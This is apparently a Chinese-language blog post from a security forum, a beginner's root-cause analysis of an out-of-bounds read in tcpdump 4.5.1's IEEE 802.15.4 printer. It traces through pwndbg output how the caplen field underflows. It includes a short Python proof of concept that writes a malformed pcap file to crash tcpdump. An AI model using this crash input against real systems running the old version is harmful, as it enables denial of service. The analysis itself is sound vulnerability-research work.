tcpdump 4.5.1 漏洞分析（新手篇）

Kaka / 2018-11-27 07:45:00 / 浏览数 3462 技术文章 技术文章 顶(3) 踩(0)

第一次做漏洞分析，有什么错误的地方欢迎各位提出

分析环境

ubuntu16.04 x86_64

gdb with pwndbg

tcpdump 4.5.1

poc

编译安装tcpdump

```
$ sudo apt-get install libpcap-dev
$ dpkg -l libpcap-dev
$ wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
$ tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
$ cd tcpdump-4.5.1/
$ ./configure
$ make
$ sudo make install
```

利用poc生成pcap文件

poc：

```
from subprocess import call
from shlex import split
from time import sleep
def crash():
   command = 'tcpdump -r crash'
   buffer     =   '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
   buffer     +=  '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
   buffer     +=  '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
   buffer     +=  '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
   buffer     +=  "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
   buffer     +=  "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"
   buffer     +=  '\x00\x00\x00\x00\x01\x03\x03\x04'
   with open('crash', 'w+b') as file:
       file.write(buffer)
   try:
       call(split(command))
       print("Exploit successful!             ")
   except:
       print("Error: Something has gone wrong!")
def main():
   print("Author:   David Silveiro                           ")
   print("   tcpdump version 4.5.1 Access Violation Crash    ")
   sleep(2)
   crash()
if __name__ == "__main__":
   main()
```

调试

读入生成的pcap文件，并运行

```
Program received signal SIGSEGV, Segmentation fault.

hex_and_ascii_print_with_offset (ident=0x47fe57 "\n\t", cp=0x843000 <error: Cannot access memory at address 0x843000>, length=

91    s2 = *cp++;
```

```
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■[ REGISTERS ]■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
RAX  0x2e
RBX  0x2e
RCX  0x0
RDX  0x7ffff79425e0 (_nl_C_LC_CTYPE_class+256) ■— add    al, byte ptr [rax]
RDI  0x7fffffffcf90 ■— 0x3030203030303020 (' 0000 00')
RSI  0x0
R8   0x5a5a5a5a5a5a5a5a ('ZZZZZZZZ')
R9   0x0
R10  0x1
R11  0x0
R12  0x843001
R13  0x7fffffffcfa9 ■— 0x3030203030303000
R14  0x5
R15  0x7fffffffcfca ■— 0x2e2e2e2e2e2e /* '......' */
RBP  0x2e
RSP  0x7fffffffcf70 ■— 0x0
RIP  0x40c8b7 (hex_and_ascii_print_with_offset+103) ■— movzx  ebx, byte ptr [r12 - 1]
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■[ DISASM ]■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■ 0x40c8b7 <hex_and_ascii_print_with_offset+103>    movzx  ebx, byte ptr [r12 - 1]
  0x40c8bd <hex_and_ascii_print_with_offset+109>    mov    rax, r13
  0x40c8c0 <hex_and_ascii_print_with_offset+112>    mov    esi, 0x29
  0x40c8c5 <hex_and_ascii_print_with_offset+117>    sub    rax, rdi
  0x40c8c8 <hex_and_ascii_print_with_offset+120>    sub    rsp, 8
  0x40c8cc <hex_and_ascii_print_with_offset+124>    mov    r8d, 0x473d00
  0x40c8d2 <hex_and_ascii_print_with_offset+130>    sub    rsi, rax
  0x40c8d5 <hex_and_ascii_print_with_offset+133>    mov    ecx, 0x29
  0x40c8da <hex_and_ascii_print_with_offset+138>    mov    edx, 1
  0x40c8df <hex_and_ascii_print_with_offset+143>    mov    rdi, r13
  0x40c8e2 <hex_and_ascii_print_with_offset+146>    mov    ebp, r9d
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■[ SOURCE (CODE) ]■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
In file: /home/kaka/DEBUG/tcpdump-4.5.1/print-ascii.c
  86 nshorts = length / sizeof(u_short);
  87 i = 0;
  88 hsp = hexstuff; asp = asciistuff;
  89 while (--nshorts >= 0) {
  90 s1 = *cp++;
■ 91 s2 = *cp++;
  92 (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
  93     " %02x%02x", s1, s2);
  94 hsp += HEXDUMP_HEXSTUFF_PER_SHORT;
  95 *(asp++) = (isgraph(s1) ? s1 : '.');
  96 *(asp++) = (isgraph(s2) ? s2 : '.');
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■[ STACK ]■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
00:0000■ rsp    0x7fffffffcf70 ■— 0x0
01:0008■        0x7fffffffcf78 ■— 0x100822577
02:0010■        0x7fffffffcf80 —■ 0x47fe57 ■— or     cl, byte ptr [rcx] /* '\n\t' */
03:0018■        0x7fffffffcf88 ■— 0xffffff300020a70
04:0020■ rdi    0x7fffffffcf90 ■— 0x3030203030303020 (' 0000 00')
05:0028■        0x7fffffffcf98 ■— 0x2030303030203030 ('00 0000 ')
06:0030■        0x7fffffffcfa0 ■— '0000 0000'
07:0038■ r13-1  0x7fffffffcfa8 ■— 0x3020303030300030 /* '0' */
```

从崩溃信息来看，问题出现在print-ascii.c文件中，访问到了一个不允许访问的地址。再结合源码信息可知，指针cp在自加的过程中访问到了一个没有权限访问的地址，因为
= length / sizeof(u_short);可知，可能是函数传入的参数length没有控制大小导致，因此目标就是追踪length是如何传入的。

通过bt回溯一下调用情况

```
pwndbg> bt
#0  hex_and_ascii_print_with_offset (ident=0x47fe57 "\n\t", cp=0x843000 <error: Cannot access memory at address 0x843000>, len
#1  0x000000000040aa7d in ieee802_15_4_if_print (ndo=0x820140 <Gndo>, h=<optimized out>, p=<optimized out>) at ./print-802_15_
#2  0x000000000045bb9f in print_packet (user=0x7fffffffd2e0 "@\001\202", h=0x7fffffffd1d0, sp=0x822570 "@\377") at ./tcpdump.c
#3  0x00007ffff7bb3ac4 in ?? () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8
#4  0x00007ffff7ba41cf in pcap_loop () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8
#5  0x0000000000403f27 in main (argc=argc@entry=3, argv=argv@entry=0x7fffffffe548) at ./tcpdump.c:1569
#6  0x00007ffff77eb830 in __libc_start_main (main=0x4030e0 <main>, argc=3, argv=0x7fffffffe548, init=<optimized out>, fini=<op
#7  0x0000000000404cd9 in _start ()
```

追踪一下从main函数开始，每个函数的执行流程

pcap_loop()

```
■ 0x403f22 <main+3650>    call   pcap_loop@plt <0x4027a0>
       rdi: 0x8222c0 —■ 0x7ffff7bb3a40 ■— push   r15
       rsi: 0xffffffff
       rdx: 0x45bb50 (print_packet) ■— push   r12
       rcx: 0x7fffffffcbd0 —■ 0x820140 (Gndo) ■— 0x0
```

在跟进pcap_loop()函数的过程中，遇到一处call，步入看看

```
■ 0x7ffff7ba41ca <pcap_loop+42>    call   0x7ffff7bb3a40
```

来到了bpf_filter函数，注意第三个参数就是我们传入crash数据包的len,然而到后面发现，其实与这个值无关

```
■ 0x7ffff7bb3aa9    call   bpf_filter <0x7ffff7bba870>
       rdi: 0x825c30 ■— 0x4900000006
       rsi: 0x822570 ■— 0x7f72a00600ff40
       rdx: 0x379c3c00
       rcx: 0x8
```

pcap数据包内关键结构体

```
struct pcap_pkthdr {
       struct timeval ts;      /* time stamp */
       bpf_u_int32 caplen;     /* length of portion present */
       bpf_u_int32 len;        /* length this packet (off wire) */
};
ts■     ■■■■
caplen■4■■ ■■■■■■■■■
len■   4■■ ■■■■■■■■■
```

使用010editer可以很容易的分析这个结构体

捕获.PNG

紧接着来到另一处函数调用

```
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■[ DISASM ]■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
  0x7ffff7bb3ab0    je     0x7ffff7bb3ace
  0x7ffff7bb3ab2    add    ebp, 1
  0x7ffff7bb3ab5    mov    rdx, qword ptr [rsp + 0x18]
  0x7ffff7bb3aba    mov    rsi, r12
  0x7ffff7bb3abd    mov    rdi, qword ptr [rsp]
■ 0x7ffff7bb3ac1    call   r15 <0x45bb50>
       rdi: 0x7fffffffcbd0 —■ 0x820140 (Gndo) ■— 0x0
       rsi: 0x7fffffffcac0 ■— 0x8000
       rdx: 0x822570 ■— 0x7f72a00600ff40
  0x7ffff7bb3ac4    cmp    ebp, r14d
  0x7ffff7bb3ac7    jl     0x7ffff7bb3ace
  0x7ffff7bb3ac9    test   r14d, r14d
  0x7ffff7bb3acc    jg     0x7ffff7bb3b30
  0x7ffff7bb3ace    mov    eax, dword ptr [rbx + 0x34]
```

跟进去以后

```
■ 0x45bb73 <print_packet+35>    mov    eax, dword ptr [rbx + 0x10]
  0x45bb76 <print_packet+38>    mov    rdx, qword ptr [rip + 0x26c2db] <0x6c7e58>
  0x45bb7d <print_packet+45>    add    rax, rbp
  0x45bb80 <print_packet+48>    mov    qword ptr [rdx + 0xe0], rax
  0x45bb87 <print_packet+55>    mov    edx, dword ptr [r12 + 0x10]
  0x45bb8c <print_packet+60>    test   edx, edx
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■[ SOURCE (CODE) ]■■■
In file: /home/kaka/DEBUG/tcpdump-4.5.1/tcpdump.c
  1942 /*
  1943 * Some printers want to check that they're not walking off the
  1944 * end of the packet.
  1945 * Rather than pass it all the way down, we set this global.
  1946 */
■ 1947 snapend = sp + h->caplen;
  1948
  1949         if(print_info->ndo_type) {
  1950                 hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp);
  1951         } else {
  1952                 hdrlen = (*print_info->p.printer)(h, sp);
```

首先把caplen(vlaue = 8)传进来

来到下面这个地方

```
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■[ DISASM ]■■■■■

  0x45bb8c <print_packet+60>    test   edx, edx
  0x45bb8e <print_packet+62>    je     print_packet+168 <0x45bbf8>
  0x45bb90 <print_packet+64>    mov    rdx, rbp
  0x45bb93 <print_packet+67>    mov    rsi, rbx
  0x45bb96 <print_packet+70>    mov    rdi, qword ptr [r12]
■ 0x45bb9a <print_packet+74>    call   qword ptr [r12 + 8] <0x40a8c0>
  0x45bb9f <print_packet+79>    mov    rdx, qword ptr [rip + 0x26c2b2] <0x6c7e58>
  0x45bba6 <print_packet+86>    mov    ecx, dword ptr [rdx + 0x40]
  0x45bba9 <print_packet+89>    test   ecx, ecx
  0x45bbab <print_packet+91>    je     print_packet+193 <0x45bc11>
  0x45bbad <print_packet+93>    cmp    ecx, 1

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■[ SOURCE (CODE) ]■■■

In file: /home/kaka/DEBUG/tcpdump-4.5.1/tcpdump.c
  1945 * Rather than pass it all the way down, we set this global.
  1946 */
  1947 snapend = sp + h->caplen;
  1948
  1949         if(print_info->ndo_type) {
■ 1950                 hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp);
  1951         } else {
  1952                 hdrlen = (*print_info->p.printer)(h, sp);
  1953         }
  1954
  1955 if (Xflag) {
```

程序call了一个函数，这个函数就是<ieee802_15_4_if_print>函数，这个函数定义在print-802_15_4.c中，</ieee802_15_4_if_print>

```
u_int
ieee802_15_4_if_print(struct netdissect_options *ndo,
                     const struct pcap_pkthdr *h, const u_char *p)
{
printf("address : %x\n",p);
u_int caplen = h->caplen; //■■■caplen■■■■■■■■■■■■caplen,■■■■8
int hdrlen;
u_int16_t fc;
u_int8_t seq;
if (caplen < 3) {  //■■■
ND_PRINT((ndo, "[|802.15.4] %x", caplen));
return caplen;
}
fc = EXTRACT_LE_16BITS(p);
hdrlen = extract_header_length(fc);
seq = EXTRACT_LE_8BITS(p + 2);
p += 3;
caplen -= 3;//■■caplen = 5
ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
if (vflag)
ND_PRINT((ndo,"seq %02x ", seq));
if (hdrlen == -1) {
ND_PRINT((ndo,"malformed! "));
return caplen;
}
if (!vflag) {
p+= hdrlen;
caplen -= hdrlen;
} else {
u_int16_t panid = 0;
switch ((fc >> 10) & 0x3) {
case 0x00:
ND_PRINT((ndo,"none "));
break;
case 0x01:
ND_PRINT((ndo,"reserved destination addressing mode"));
return 0;
case 0x02:
panid = EXTRACT_LE_16BITS(p);
p += 2;
ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
p += 2;
break;
case 0x03:
panid = EXTRACT_LE_16BITS(p);
p += 2;
ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p)));
p += 8;
break;
}
ND_PRINT((ndo,"< ");
switch ((fc >> 14) & 0x3) {
case 0x00:
ND_PRINT((ndo,"none "));
break;
case 0x01:
ND_PRINT((ndo,"reserved source addressing mode"));
return 0;
case 0x02:
if (!(fc & (1 << 6))) {
panid = EXTRACT_LE_16BITS(p);
p += 2;
}
ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
p += 2;
break;
case 0x03:
if (!(fc & (1 << 6))) {
panid = EXTRACT_LE_16BITS(p);
p += 2;
}
                       ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p))));
p += 8;
break;
}
caplen -= hdrlen;
}
```

传入的第二个值是struct pcap_pkthdr
*h结构体，函数使用的参数caplen就是结构体中的caplen,上面代码中也已经标注一部分，对于caplen操作的关键代码在第10行开始的，直接上面看这些代码对我我这样的新

直接跟进函数，看看最后赋值情况

```
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■[ DISASM ]■■■■■

  0x40aa63 <ieee802_15_4_if_print+419>    test   esi, esi
  0x40aa65 <ieee802_15_4_if_print+421>    jne    ieee802_15_4_if_print+137 <0x40a949>
  0x40aa6b <ieee802_15_4_if_print+427>    mov    dword ptr [rsp + 0xc], eax
  0x40aa6f <ieee802_15_4_if_print+431>    mov    rsi, qword ptr [rsp]
  0x40aa73 <ieee802_15_4_if_print+435>    mov    rdi, r15
■ 0x40aa76 <ieee802_15_4_if_print+438>    call   qword ptr [r15 + 0xf0] <0x45b270>
       rdi: 0x820140 (Gndo) ■— 0x0
       rsi: 0x822585 ■— 0x0
       rdx: 0xfffffff3
       rcx: 0x7ffffeb
  0x40aa7d <ieee802_15_4_if_print+445>    mov    eax, dword ptr [rsp + 0xc]
  0x40aa81 <ieee802_15_4_if_print+449>    add    rsp, 0x18
  0x40aa85 <ieee802_15_4_if_print+453>    pop    rbx
  0x40aa86 <ieee802_15_4_if_print+454>    pop    rbp
  0x40aa87 <ieee802_15_4_if_print+455>    pop    r12
```

再次调用另一个函数地址为<0x45b270>，此时传入的第三个参数即caplen已经变成一个很大的值0xfffffff3

```
pwndbg> x/2i 0x45b270
  0x45b270 <ndo_default_print>:    mov    edi,0x47fe57
  0x45b275 <ndo_default_print+5>:    jmp    0x40ca80 <hex_and_ascii_print>
```

可知该函数会继续跳转执行函数，继续跟进去

```
■ 0x45b275 <ndo_default_print+5>                   jmp    hex_and_ascii_print <0x40ca80>
   ↓
  0x40ca80 <hex_and_ascii_print>                   xor    ecx, ecx
  0x40ca82 <hex_and_ascii_print+2>                 jmp    hex_and_ascii_print_with_offset <0x40c850>
```

最终来到了hex_and_ascii_print_with_offset 函数，也是我们回溯调用的时候的最后一个函数

```
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■[ REGISTERS ]■■■■■■
RAX  0x7ffffff9
RBX  0xfffffff3
RCX  0x0
RDX  0xfffffff3
RDI  0x47fe57 ■— or     cl, byte ptr [rcx] /* '\n\t' */
RSI  0x822585 ■— 0x0
R8   0x0
R9   0x1c
R10  0x6
R11  0x470fc9 ■— 0x41006e6f63616542 /* 'Beacon' */
R12  0x12
R13  0x822570 ■— 0x7f72a00600ff40
R14  0x3
R15  0x820140 (Gndo) ■— 0x0
RBP  0xff40
RSP  0x7fffffffca08 ■— 0x12
RIP  0x40c85c (hex_and_ascii_print_with_offset+12) ■— push   rbp
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■[ DISASM ]■■■■■
  0x40c852 <hex_and_ascii_print_with_offset+2>     mov    eax, edx
  0x40c854 <hex_and_ascii_print_with_offset+4>     push   r14
  0x40c856 <hex_and_ascii_print_with_offset+6>     push   r13
  0x40c858 <hex_and_ascii_print_with_offset+8>     push   r12
  0x40c85a <hex_and_ascii_print_with_offset+10>    shr    eax, 1
■ 0x40c85c <hex_and_ascii_print_with_offset+12>    push   rbp
  0x40c85d <hex_and_ascii_print_with_offset+13>    push   rbx
  0x40c85e <hex_and_ascii_print_with_offset+14>    lea    rax, [rsi + rax*2]
  0x40c862 <hex_and_ascii_print_with_offset+18>    mov    r12, rsi
  0x40c865 <hex_and_ascii_print_with_offset+21>    xor    r14d, r14d
  0x40c868 <hex_and_ascii_print_with_offset+24>    sub    rsp, 0x198
```

对应的的c如下

```
nshorts = length / sizeof(u_short);
i = 0;
hsp = hexstuff; asp = asciistuff;
while (--nshorts >= 0) {
s1 = *cp++;
s2 = *cp++;
```

除法以后，nshorts的值仍然很大，导致进行了过多的循环，使指针访问到了不可访问内存

思考
那么caplen这个值需要多大才可以呢？

```
In file: /home/kaka/DEBUG/tcpdump-4.5.1/print-802_15_4.c
  109
  110 seq = EXTRACT_LE_8BITS(p + 2);
  111
  112 p += 3;
  113 caplen -= 3;
■ 114
```

```
  115 ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
  116 if (vflag)
  117 ND_PRINT((ndo,"seq %02x ", seq));
  118 if (hdrlen == -1) {
  119 ND_PRINT((ndo,"malformed! "));

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■[ STACK ]■■■■■■

00:0000■ rsp  0x7fffffffca30 —■ 0x822573 ■— 0xb8fb78007f72a006
01:0008■      0x7fffffffca38 —■ 0x822570 ■— 0x7f72a00600ff40
02:0010■      0x7fffffffca40 —■ 0x7fffffffcbd0 —■ 0x820140 (Gndo) ■— 0x0
03:0018■      0x7fffffffca48 —■ 0x7fffffffcac0 ■— 0x8000
04:0020■      0x7fffffffca50 —■ 0x822570 ■— 0x7f72a00600ff40
05:0028■      0x7fffffffca58 —■ 0x7fffffffcbd0 —■ 0x820140 (Gndo) ■— 0x0
06:0030■      0x7fffffffca60 —■ 0x7fffffffcab8 —■ 0x822570 ■— 0x7f72a00600ff40
07:0038■      0x7fffffffca68 ■— 0xffffffff

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■[ BACKTRACE ]■■■■■

■ f 0           40aa2a ieee802_15_4_if_print+362
  f 1           45bb9f print_packet+79
  f 2     7ffff7bb3ac4
  f 3     7ffff7ba41cf pcap_loop+47
  f 4           403f27 main+3655
  f 5     7ffff77eb830 __libc_start_main+240
pwndbg> p caplen
$4 = 5
```

此时的caplen为5

```
124 if (!vflag) {
■ 125 p+= hdrlen;
  126 caplen -= hdrlen;
  127 } else {
  128 u_int16_t panid = 0;
//■■■■■■■■■■■■■■■caplen■■

  177 caplen -= hdrlen;

  178                 printf("caplen : %d\n",caplen);

■ 179 }

  180     printf("after : %p\n",p);

  181 if (!suppress_default_print)

  182 (ndo->ndo_default_print)(ndo, p, caplen);

  183

  184 return 0;

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■[ STACK ]■■■■■■

00:0000■ rsp  0x7fffffffca30 —■ 0x822585 ■— 0x0

01:0008■      0x7fffffffca38 —■ 0x822570 ■— 0x7f72a00600ff40

02:0010■      0x7fffffffca40 —■ 0x7fffffffcbd0 —■ 0x820140 (Gndo) ■— 0x0

03:0018■      0x7fffffffca48 —■ 0x7fffffffcac0 ■— 0x8000

04:0020■      0x7fffffffca50 —■ 0x822570 ■— 0x7f72a00600ff40

05:0028■      0x7fffffffca58 —■ 0x7fffffffcbd0 —■ 0x820140 (Gndo) ■— 0x0

06:0030■      0x7fffffffca60 —■ 0x7fffffffcab8 —■ 0x822570 ■— 0x7f72a00600ff40
```

```
07:0038■      0x7fffffffca68 ■— 0xffffffff

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■[ BACKTRACE ]■■■■

■ f 0           40aa5b ieee802_15_4_if_print+411

  f 1           45bb9f print_packet+79

  f 2     7ffff7bb3ac4

  f 3     7ffff7ba41cf pcap_loop+47

  f 4           403f27 main+3655

  f 5     7ffff77eb830 __libc_start_main+240

pwndbg> p caplen

$13 = 4294967283
```

最后 caplen这个值为-13，所以，caplen值最小为13+5+3=21 = 0x15

将数据包内的caplen字段修改成0x21以后没有再发生指针越界，此时的caplen为0，与len字段无关，甚至修改为0都可以。

```
pwndbg> run -r crash
Starting program: /usr/local/sbin/tcpdump -r crash
reading from file crash, link-type IEEE802_15_4_NOFCS (IEEE 802.15.4 without FCS)
17:06:08.000000 IEEE 802.15.4 Beacon packet
0x0000:  2b2b 2b2b 2b2b 2b85 c903 0000            +++++++.....
tcpdump: pcap_loop: bogus savefile header
[Inferior 1 (process 122683) exited with code 01]
```

点击收藏 | 0 关注 | 2

上一篇：智能合约逆向心法2（案例篇）——3... 下一篇：java代码审计手书(三）

1. 0 条回复
   - 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板